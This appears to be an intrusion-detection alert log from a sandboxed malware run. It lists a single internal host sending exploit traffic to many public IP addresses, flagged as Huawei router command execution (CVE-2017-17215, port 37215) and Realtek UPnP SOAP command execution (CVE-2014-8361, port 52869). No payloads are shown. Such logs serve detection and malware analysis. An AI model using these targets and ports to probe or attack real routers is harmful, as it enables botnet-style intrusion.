07/20/24-23:01:28.222987	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43558	37215	192.168.2.14	197.78.197.233
07/20/24-23:01:29.169806	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46494	52869	192.168.2.14	193.152.255.240
07/20/24-23:01:19.233961	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42368	37215	192.168.2.14	157.20.113.95
07/20/24-23:01:11.467355	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42748	37215	192.168.2.14	157.15.22.51
07/20/24-23:01:33.047902	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45234	37215	192.168.2.14	157.209.2.238
07/20/24-23:01:14.397054	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35772	37215	192.168.2.14	41.93.5.254
07/20/24-23:01:37.217137	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42522	37215	192.168.2.14	157.22.26.151
07/20/24-23:01:19.334799	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46634	37215	192.168.2.14	41.195.94.179
07/20/24-23:01:11.459583	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35822	37215	192.168.2.14	197.142.54.212
07/20/24-23:01:34.965835	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52020	52869	192.168.2.14	101.76.187.95
07/20/24-23:01:14.407391	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59428	37215	192.168.2.14	41.76.208.72
07/20/24-23:01:29.185354	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52260	52869	192.168.2.14	189.92.207.153
07/20/24-23:01:33.055417	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52502	37215	192.168.2.14	197.31.230.108
07/20/24-23:01:37.160288	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36550	37215	192.168.2.14	41.211.28.93
07/20/24-23:01:02.411450	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53680	37215	192.168.2.14	157.220.26.182
07/20/24-23:01:37.191093	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47088	37215	192.168.2.14	157.106.59.24
07/20/24-23:01:11.478031	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49060	37215	192.168.2.14	2.71.126.200
07/20/24-23:01:07.684526	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37930	37215	192.168.2.14	157.226.43.130
07/20/24-23:01:14.407391	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32932	37215	192.168.2.14	221.153.174.51
07/20/24-23:01:06.208261	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47808	52869	192.168.2.14	152.149.61.199
07/20/24-23:01:13.337402	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49930	52869	192.168.2.14	147.70.92.77
07/20/24-23:01:24.076619	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42346	52869	192.168.2.14	208.42.117.191
07/20/24-23:01:29.735204	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55126	52869	192.168.2.14	175.184.156.103
07/20/24-23:01:37.167957	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39740	37215	192.168.2.14	157.117.59.219
07/20/24-23:01:37.222600	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43604	37215	192.168.2.14	157.13.38.77
07/20/24-23:01:07.676921	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43106	37215	192.168.2.14	197.58.85.188
07/20/24-23:01:37.217137	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58804	37215	192.168.2.14	197.109.92.218
07/20/24-23:01:25.230441	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49964	37215	192.168.2.14	197.126.180.16
07/20/24-23:01:22.779153	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34236	37215	192.168.2.14	157.78.100.12
07/20/24-23:01:05.466055	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60522	52869	192.168.2.14	121.241.252.236
07/20/24-23:01:07.664911	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59668	37215	192.168.2.14	157.132.3.133
07/20/24-23:01:33.367602	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60340	52869	192.168.2.14	186.241.124.28
07/20/24-23:01:34.902376	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44680	52869	192.168.2.14	192.231.43.185
07/20/24-23:01:33.046879	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51160	37215	192.168.2.14	41.4.60.155
07/20/24-23:01:33.100578	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46072	37215	192.168.2.14	157.130.214.93
07/20/24-23:01:29.172029	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53566	52869	192.168.2.14	108.190.226.99
07/20/24-23:01:37.227564	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45382	37215	192.168.2.14	197.192.99.53
07/20/24-23:01:33.046879	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57194	37215	192.168.2.14	157.182.223.211
07/20/24-23:01:02.414528	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34370	37215	192.168.2.14	41.89.17.37
07/20/24-23:01:02.405571	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53616	37215	192.168.2.14	153.57.57.9
07/20/24-23:01:37.231056	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48258	37215	192.168.2.14	202.19.178.110
07/20/24-23:01:33.069192	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34674	37215	192.168.2.14	197.230.144.186
07/20/24-23:01:28.142774	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50706	37215	192.168.2.14	41.20.243.132
07/20/24-23:01:07.674717	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49844	37215	192.168.2.14	197.158.177.62
07/20/24-23:01:02.415804	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44924	37215	192.168.2.14	41.145.5.36
07/20/24-23:01:32.141563	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58246	52869	192.168.2.14	165.75.84.143
07/20/24-23:01:25.271822	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54156	52869	192.168.2.14	72.66.251.190
07/20/24-23:01:11.459583	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39228	37215	192.168.2.14	46.24.98.190
07/20/24-23:01:07.653968	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50684	37215	192.168.2.14	109.237.129.172
07/20/24-23:01:14.397897	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37862	37215	192.168.2.14	197.24.95.135
07/20/24-23:01:28.143148	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47962	37215	192.168.2.14	197.31.246.202
07/20/24-23:01:31.344728	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54134	52869	192.168.2.14	110.2.88.21
07/20/24-23:01:28.205022	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47898	37215	192.168.2.14	41.254.18.152
07/20/24-23:01:13.336946	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42026	52869	192.168.2.14	202.104.226.178
07/20/24-23:01:33.049931	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44196	37215	192.168.2.14	84.140.48.178
07/20/24-23:01:34.618858	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45842	52869	192.168.2.14	149.189.66.2
07/20/24-23:01:06.902485	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46642	52869	192.168.2.14	87.85.193.52
07/20/24-23:01:22.769838	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49096	37215	192.168.2.14	197.85.103.215
07/20/24-23:01:05.920529	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40428	37215	192.168.2.14	197.123.215.194
07/20/24-23:01:13.332408	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49890	52869	192.168.2.14	65.248.115.141
07/20/24-23:01:19.222257	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59692	37215	192.168.2.14	157.54.115.117
07/20/24-23:01:34.927371	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51196	52869	192.168.2.14	162.145.238.215
07/20/24-23:01:37.122769	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57740	37215	192.168.2.14	197.122.67.226
07/20/24-23:01:07.658956	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46382	37215	192.168.2.14	49.119.133.182
07/20/24-23:01:02.412965	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49258	37215	192.168.2.14	117.157.75.129
07/20/24-23:01:02.411903	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44176	37215	192.168.2.14	157.11.29.10
07/20/24-23:01:13.336390	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46652	52869	192.168.2.14	190.120.169.109
07/20/24-23:01:33.038711	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38328	37215	192.168.2.14	157.219.228.225
07/20/24-23:01:34.097406	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49390	52869	192.168.2.14	222.252.238.17
07/20/24-23:01:33.040755	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55976	37215	192.168.2.14	157.78.155.236
07/20/24-23:01:05.652239	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38858	52869	192.168.2.14	31.90.157.252
07/20/24-23:01:05.849562	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57974	52869	192.168.2.14	99.202.52.30
07/20/24-23:01:13.333258	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56938	52869	192.168.2.14	82.116.127.119
07/20/24-23:01:34.910408	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51222	52869	192.168.2.14	45.184.153.75
07/20/24-23:01:19.223034	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56068	37215	192.168.2.14	157.161.95.63
07/20/24-23:01:19.233961	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43372	37215	192.168.2.14	146.250.115.112
07/20/24-23:01:34.935674	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40052	52869	192.168.2.14	38.255.110.243
07/20/24-23:01:22.779153	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49104	37215	192.168.2.14	41.165.214.124
07/20/24-23:01:11.454991	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47518	37215	192.168.2.14	157.0.122.122
07/20/24-23:01:11.486486	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48836	37215	192.168.2.14	197.153.53.108
07/20/24-23:01:07.662924	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59262	37215	192.168.2.14	85.25.104.53
07/20/24-23:01:33.081950	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53164	37215	192.168.2.14	157.13.53.30
07/20/24-23:01:14.399761	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41176	37215	192.168.2.14	157.223.41.37
07/20/24-23:01:13.330939	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52058	52869	192.168.2.14	151.136.169.42
07/20/24-23:01:34.920163	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58920	52869	192.168.2.14	208.213.201.22
07/20/24-23:01:06.011856	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45992	52869	192.168.2.14	145.114.175.209
07/20/24-23:01:11.467355	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41486	37215	192.168.2.14	41.107.120.247
07/20/24-23:01:05.904128	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34988	37215	192.168.2.14	197.233.138.129
07/20/24-23:01:14.397565	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38968	37215	192.168.2.14	157.245.45.161
07/20/24-23:01:13.330275	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40028	52869	192.168.2.14	31.90.157.252
07/20/24-23:01:07.664911	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37448	37215	192.168.2.14	157.174.72.27
07/20/24-23:01:28.143529	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41218	37215	192.168.2.14	157.201.1.4
07/20/24-23:01:07.664911	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60594	37215	192.168.2.14	41.181.191.35
07/20/24-23:01:19.225297	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43860	37215	192.168.2.14	41.214.137.240
07/20/24-23:01:19.335313	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53532	37215	192.168.2.14	79.74.188.78
07/20/24-23:01:34.908060	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45048	52869	192.168.2.14	75.5.28.91
07/20/24-23:01:02.412914	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45842	37215	192.168.2.14	41.117.226.58
07/20/24-23:01:33.193550	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46900	52869	192.168.2.14	13.226.216.53
07/20/24-23:01:07.684526	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41188	37215	192.168.2.14	197.50.99.150
07/20/24-23:01:22.766451	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55560	37215	192.168.2.14	157.60.168.137
07/20/24-23:01:37.222600	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44702	37215	192.168.2.14	197.184.106.243
07/20/24-23:01:06.633248	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57574	52869	192.168.2.14	222.151.202.253
07/20/24-23:01:07.679354	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59014	37215	192.168.2.14	41.234.78.35
07/20/24-23:01:25.230742	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56478	37215	192.168.2.14	197.101.109.84
07/20/24-23:01:25.007295	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57888	52869	192.168.2.14	146.184.254.182
07/20/24-23:01:34.908060	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57158	52869	192.168.2.14	71.136.139.92
07/20/24-23:01:07.210802	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36720	52869	192.168.2.14	8.188.8.56
07/20/24-23:01:13.329544	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44252	52869	192.168.2.14	160.191.28.144
07/20/24-23:01:24.712847	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53686	52869	192.168.2.14	200.134.207.26
07/20/24-23:01:29.186915	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49308	52869	192.168.2.14	134.20.23.71
07/20/24-23:01:05.911929	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53528	37215	192.168.2.14	197.38.231.171
07/20/24-23:01:22.784106	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53074	37215	192.168.2.14	158.205.226.229
07/20/24-23:01:34.932468	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51854	52869	192.168.2.14	153.211.168.73
07/20/24-23:01:34.931386	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34520	52869	192.168.2.14	165.24.106.58
07/20/24-23:01:22.792913	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42134	37215	192.168.2.14	157.83.248.176
07/20/24-23:01:11.461509	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34128	37215	192.168.2.14	197.42.111.185
07/20/24-23:01:22.790734	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33412	37215	192.168.2.14	156.111.172.13
07/20/24-23:01:05.641880	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55808	52869	192.168.2.14	79.163.220.136
07/20/24-23:01:33.289515	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41010	52869	192.168.2.14	66.46.157.85
07/20/24-23:01:19.227177	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57666	37215	192.168.2.14	213.27.120.50
07/20/24-23:01:33.443703	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37568	52869	192.168.2.14	53.62.238.12
07/20/24-23:01:34.900554	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40032	52869	192.168.2.14	74.157.77.170
07/20/24-23:01:14.398477	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48412	37215	192.168.2.14	157.206.222.18
07/20/24-23:01:13.333893	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47904	52869	192.168.2.14	126.63.129.65
07/20/24-23:01:34.927371	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42824	52869	192.168.2.14	66.46.157.85
07/20/24-23:01:05.908608	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33246	37215	192.168.2.14	157.166.67.79
07/20/24-23:01:19.236523	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45648	37215	192.168.2.14	197.209.139.222
07/20/24-23:01:25.283485	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56380	37215	192.168.2.14	131.159.1.125
07/20/24-23:01:19.334468	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37504	37215	192.168.2.14	197.235.84.11
07/20/24-23:01:14.398311	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33200	37215	192.168.2.14	41.188.154.141
07/20/24-23:01:34.920163	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52734	52869	192.168.2.14	163.241.201.162
07/20/24-23:01:37.222600	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48144	37215	192.168.2.14	197.141.233.106
07/20/24-23:01:24.093369	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44556	52869	192.168.2.14	171.71.112.103
07/20/24-23:01:06.612211	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38538	52869	192.168.2.14	147.24.204.167
07/20/24-23:01:07.680463	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59724	37215	192.168.2.14	157.146.181.67
07/20/24-23:01:28.183799	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37648	37215	192.168.2.14	46.245.236.24
07/20/24-23:01:13.332408	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58112	52869	192.168.2.14	115.118.201.201
07/20/24-23:01:05.597095	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43066	52869	192.168.2.14	180.39.180.182
07/20/24-23:01:05.619970	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47368	52869	192.168.2.14	134.76.14.241
07/20/24-23:01:28.214699	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38494	37215	192.168.2.14	157.94.248.171
07/20/24-23:01:34.942495	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55620	52869	192.168.2.14	160.160.84.223
07/20/24-23:01:25.291116	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59040	37215	192.168.2.14	41.90.227.167
07/20/24-23:01:19.334353	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49900	37215	192.168.2.14	197.200.133.33
07/20/24-23:01:05.927305	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50314	37215	192.168.2.14	197.195.21.87
07/20/24-23:01:34.131777	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52424	52869	192.168.2.14	150.10.126.44
07/20/24-23:01:11.483526	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36886	37215	192.168.2.14	84.125.194.139
07/20/24-23:01:25.230657	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59772	37215	192.168.2.14	157.23.91.8
07/20/24-23:01:02.411076	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45886	37215	192.168.2.14	24.132.91.59
07/20/24-23:01:06.146745	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39728	52869	192.168.2.14	123.243.178.81
07/20/24-23:01:25.278883	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33186	52869	192.168.2.14	105.221.149.154
07/20/24-23:01:07.674717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40506	37215	192.168.2.14	41.131.226.159
07/20/24-23:01:33.728029	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50006	52869	192.168.2.14	153.211.168.73
07/20/24-23:01:33.100578	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37062	37215	192.168.2.14	197.147.172.239
07/20/24-23:01:34.923717	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60396	52869	192.168.2.14	59.201.11.124
07/20/24-23:01:33.036114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55214	37215	192.168.2.14	197.119.228.219
07/20/24-23:01:14.399761	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55916	37215	192.168.2.14	41.76.38.210
07/20/24-23:01:25.295701	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60962	37215	192.168.2.14	41.251.165.245
07/20/24-23:01:34.964842	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49074	52869	192.168.2.14	59.88.136.75
07/20/24-23:01:24.075979	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49244	52869	192.168.2.14	189.144.99.123
07/20/24-23:01:37.167957	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52066	37215	192.168.2.14	41.118.39.16
07/20/24-23:01:05.633189	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44220	52869	192.168.2.14	165.240.21.199
07/20/24-23:01:14.416273	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54356	37215	192.168.2.14	157.52.132.153
07/20/24-23:01:13.334387	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39470	52869	192.168.2.14	171.144.139.139
07/20/24-23:01:19.222596	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48060	37215	192.168.2.14	41.228.227.70
07/20/24-23:01:07.658956	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57058	37215	192.168.2.14	41.112.21.71
07/20/24-23:01:25.298710	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43466	37215	192.168.2.14	157.171.155.202
07/20/24-23:01:29.546185	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48962	52869	192.168.2.14	45.24.39.65
07/20/24-23:01:37.227353	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49488	37215	192.168.2.14	197.124.177.160
07/20/24-23:01:22.784106	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48368	37215	192.168.2.14	197.215.131.235
07/20/24-23:01:28.180178	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60812	37215	192.168.2.14	157.255.32.178
07/20/24-23:01:05.898214	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49794	37215	192.168.2.14	157.37.64.90
07/20/24-23:01:13.330618	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44584	52869	192.168.2.14	116.111.12.206
07/20/24-23:01:06.262239	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51512	52869	192.168.2.14	65.29.160.70
